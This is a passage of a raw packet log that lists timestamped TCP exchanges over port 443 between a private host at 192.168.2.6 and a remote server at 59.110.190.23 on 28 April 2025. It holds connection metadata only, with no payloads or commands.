Apr 28, 2025 16:40:57.637273073 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.782109022 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.782327890 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.783811092 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.783894062 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.787013054 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.787084103 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.793430090 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.793509960 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.796474934 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.796531916 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.799990892 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.800050020 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.806018114 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.806077003 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.812570095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.812648058 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.815562963 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.815623045 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.821851969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.821913958 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.825103998 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.825170040 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.972449064 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.972577095 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.973694086 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.973756075 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.976789951 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.976857901 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.983097076 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.983316898 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.986270905 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.986335993 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.989490986 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.989571095 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.996079922 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.996267080 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.999028921 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.999103069 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.005532026 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.005610943 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.008519888 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.008598089 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.011756897 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.011837959 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.018174887 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.018260002 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.021301985 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.021384001 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.027636051 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.027733088 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.119508028 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.119633913 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.120779991 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.120835066 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.126975060 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.127038956 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.129966021 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.130024910 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.136435986 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.136501074 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.139653921 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.139725924 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.142714977 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.142777920 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.149096012 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.149167061 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.152345896 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.152415991 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.158551931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.158668041 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.161664009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.161737919 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.168013096 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.168104887 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.179537058 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.179579973 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.179621935 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.179636002 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.179658890 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.179675102 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.180659056 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.180726051 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.183803082 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.183923960 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.190140009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.190212011 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.209147930 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.209192038 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.209229946 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.209292889 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.209292889 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.209302902 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.209359884 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.301676035 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.301790953 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.303057909 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.303138971 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.309437990 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.309506893 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.312489986 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.312551975 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.318886042 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.318958998 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.322002888 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.322117090 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.325680971 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.325742006 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.331552982 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.331624031 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.334697008 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.334758043 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.341048956 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.341140032 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.344213009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.344305992 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.347455978 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.347532034 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.508676052 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508722067 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508754969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508789062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508801937 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.508815050 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508827925 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508869886 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.508876085 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508888006 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508928061 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.508939981 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508949995 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.508955956 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508971930 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.508991957 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509023905 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509028912 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509068012 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509078979 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509114981 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509124994 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509130955 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509156942 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509170055 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509198904 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509232998 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509257078 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509263992 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509274960 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509275913 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509315014 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509320021 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509331942 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509336948 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509358883 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509363890 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509397030 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509418011 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509426117 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509468079 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509470940 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509480000 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509505987 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509537935 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509552002 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509558916 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509573936 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509579897 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509617090 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509620905 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509634972 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509654045 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509685040 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509690046 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509706020 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509726048 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509731054 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509756088 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509790897 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509860039 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509902954 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509912968 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509918928 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509932995 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.509948015 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509974957 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.509979963 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510020971 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510035992 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510078907 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510086060 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510091066 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510109901 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510132074 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510140896 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510153055 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510154009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510181904 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510188103 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510212898 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510217905 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510247946 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510252953 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510262966 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.510267973 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.510299921 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.514015913 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.514072895 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.520236015 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.520312071 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.523175955 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.523233891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.526231050 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.526305914 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.532068014 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.532135010 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.534995079 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.535053968 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.540926933 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.540988922 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.543833971 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.543910980 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.546736002 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.546796083 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.552350044 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.552417994 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.555083036 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.555140972 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.560776949 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.560848951 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.563764095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.563868046 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.566648960 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.566736937 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.572117090 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.572189093 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.574989080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.575062037 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.580584049 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.580662012 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.583762884 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.583899021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.586184025 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.586277008 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.591788054 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.591926098 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.594526052 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.594588041 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.600188017 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.600264072 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.603049040 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.603118896 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.605811119 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.605880976 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.611495018 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.611582041 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.614238024 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.614352942 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.704087019 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.704248905 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.705436945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.705504894 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.710516930 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.710611105 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.713125944 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.713198900 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.718303919 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.718380928 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.720906019 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.720979929 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.723463058 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.723535061 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.728533983 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.728640079 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.731220961 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.731295109 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.736351013 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.736428022 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.738914967 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.738991022 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.741528034 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.741600990 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.746707916 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.746786118 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.749473095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.749576092 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.754657984 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.754775047 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.757046938 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.757133007 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.759990931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.760051012 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.764816999 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.764903069 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.767395020 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.767462015 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.772531033 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.772619963 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.775188923 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.775238037 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.777745962 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.777801991 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.782907009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.782958031 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.785598993 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.785666943 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.790750027 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.790802956 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.847197056 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.847440004 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.851124048 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.851186037 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.852758884 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.852873087 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.856232882 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.856309891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.858032942 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.858083963 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.861465931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.861525059 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.863209963 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.863265991 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.866585016 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.866641998 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.868422031 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.868489981 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.870138884 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.870182037 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.873790026 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.873842001 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.875324965 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.875372887 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.878793955 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.878858089 CEST	49698	443	192.168.2.6	59.110.190.23
